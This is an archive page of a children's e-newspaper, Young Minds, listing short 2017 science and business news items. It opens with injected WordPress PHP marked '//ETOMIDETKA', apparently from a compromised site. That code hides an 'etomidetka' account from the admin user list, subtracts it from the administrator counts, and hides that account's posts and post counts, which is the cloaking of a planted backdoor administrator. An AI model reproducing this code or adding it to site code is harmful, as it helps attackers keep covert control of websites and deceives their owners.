//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Business & Innovation | YOUNG MINDS | Page 9

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Business & Innovation (Page 9)
Volkswagen overtakes Toyota as the world’s biggest carmaker

Volkswagen overtakes Toyota as the world’s biggest carmaker

Volkswagen has overtaken Toyota to become the world’s best-selling carmaker, the first time the German company has held the position.Japan’s …

January 31, 2017 | Business & Innovation
Microbiologists make big leap in developing ‘green’ electronics

Microbiologists make big leap in developing ‘green’ electronics

Microbiologists at the University of Massachusetts Amherst have reported that they have discovered a new type of microbial nanowire produced by bacteria that …

January 27, 2017 | Business & Innovation
A 3D bioprinter that prints fully functional human skin

A 3D bioprinter that prints fully functional human skin

A prototype 3D bioprinter that can create totally functional human skin has been developed by scientists from Universidad Carlos III de Madrid (UC3M) and …

January 27, 2017 | Business & Innovation
Ultrafast camera images ‘sonic boom’ of light for first time

Ultrafast camera images ‘sonic boom’ of light for first time

In a first, US-based researchers have filmed light creating a ‘sonic boom’ – officially known as a photonic Mach cone – using a new …

January 23, 2017 | Business & Innovation
Researchers create battery with built-in fire extinguisher

Researchers create battery with built-in fire extinguisher

Stanford University researchers have successfully created lithium-ion batteries with built-in fire extinguisher. The researchers added fire-extinguishing …

January 17, 2017 | Business & Innovation
New 5D technique helps diagnose diseases from phone images

New 5D technique helps diagnose diseases from phone images

US-based researchers have developed a new 5D technique for analysing images, which they claim may help diagnose diseases from pictures taken using cell phones. …

January 17, 2017 | Business & Innovation
A transparent & self-healing  material

A transparent & self-healing material

A team of scientists has developed a transparent, self-healing, highly stretchable conductive material that can be electrically activated to power artificial …

January 16, 2017 | Business & Innovation
Intricate micro-devices that can be safely implanted

Intricate micro-devices that can be safely implanted

Columbia Engineering researchers have invented a technique for manufacturing complex microdevices with three-dimensional, freely moving parts made from …

January 16, 2017 | Business & Innovation
Super graphene!

Super graphene!

A team of researchers at MIT have designed one of the lightest and strongest materials ever using graphene. They made it by compressing and fusing flakes of …

January 13, 2017 | Business & Innovation
Polaroid is back!

Polaroid is back!

Polaroid has launched its Pop camera that shoots and prints 3-inch by 4-inch instant photos using ZINK – an inkless photo paper technology.It also works …

January 9, 2017 | Business & Innovation
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds